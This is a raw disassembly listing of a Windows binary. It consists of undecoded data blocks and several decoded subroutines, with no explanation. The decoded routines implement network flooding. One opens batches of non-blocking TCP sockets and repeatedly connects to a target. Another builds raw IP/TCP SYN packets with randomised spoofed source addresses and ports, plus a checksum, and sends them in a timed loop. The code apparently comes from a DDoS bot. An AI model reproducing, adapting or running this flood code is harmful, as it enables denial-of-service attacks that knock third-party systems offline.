		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 0C276E857h
		dd 0FF90022Dh, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h
		dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22DC1F0h
dword_413E10	dd 0B8EC8B55h, 10320h, 86E3E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+542Do
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h
		dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h,	8B004CBAh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h
		dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
		dd 0C132E890h, 0C33B022Dh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB8ECh, 0C0753B46h,	75FFDA7Ch, 8C15FF08h, 8D004CBAh
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h
		dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
		dd 59FFFF77h, 0E8905359h, 22DC064h
dword_413F9C	dd 0B8EC8B55h, 10310h, 8557E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+5679o
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0A7E89000h
		dd 500228CDh, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	7068FFFFh
		dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7665E8h, 565959FFh, 2DBF87E8h, 408B9002h
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	2FE81175h
		dd 99000082h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	81E1E8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0C2D8E890h
		dd 754E0227h, 0DC7D39CEh, 83E8BC75h, 99000081h,	0FFDCB9h
		dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah,	80F9E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
		dd 575959FFh, 0BE4EE890h
		db 2Dh,	2
word_4141B2	dw 8B55h		; DATA XREF: sub_401ACD+4CC4o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h,	858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h,	5959FFFFh
		dd 0B1E89056h, 5F022DBDh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: ___:0041433Ap

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		call	near ptr 269040Ah
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx


loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax


loc_414349:				; CODE XREF: ___:00414344j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414358	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+636Bo
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF72EAh, 90565959h, 2DBC0BE8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: ___:004146E5p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------


loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB9D4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB9D4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB9D4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27C0554h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27C0279h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27C0279h
		nop
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437AEC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]


loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBA6C
		pop	esi


loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax


loc_4146F4:				; CODE XREF: ___:004146EFj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_414703	db 55h			; DATA XREF: sub_401ACD+6D3Do
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh
		dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3BE8F075h, 59FFFF6Fh, 5DE85659h, 90022DB8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch
		dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
		dd 4270B0h, 0F8458959h,	4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
		dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 79A6h,	0E0458966h, 799DE8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h
		dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
		dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_4149C1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5306o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270B0h
		dd 0E850D7FFh, 78ACh, 0FF6859h,	36A0000h, 15FF026Ah, 4CBA54h
		dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch,	0FFFBC085h
		dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
		dd 535959FFh, 2DB577E8h, 4D8D9002h, 51046ACCh, 5053026Ah
		dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h
		dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 0D7E8FFFFh, 59FFFF6Bh, 0E8905359h, 22DB4F8h,	0FDC4858Dh
		dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh,	755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
		dd 0E8905359h, 22DB488h, 458D106Ah, 0E85053BCh,	73ECh
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CB9D4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 0C7E82D74h,	8B000076h
		dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h
		dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh
		dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h
		dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h
		dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h
		dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CB9D4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0D415FF06h
		dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 7FCBE8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
		dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 753AE850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 0E8905359h
		dd 22DB18Ch, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h,	0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
		dd 0E8535959h, 22DB0FCh
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414F23:				; CODE XREF: ___:00414F2Bj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1


loc_414F31:				; CODE XREF: ___:00414F17j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_414F3E:				; CODE XREF: ___:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_414F57	db 55h			; DATA XREF: sub_401ACD+6C68o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h
		dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 66D0E8F0h, 5959FFFFh, 0AFF2E856h, 5590022Dh,	0EC81EC8Bh
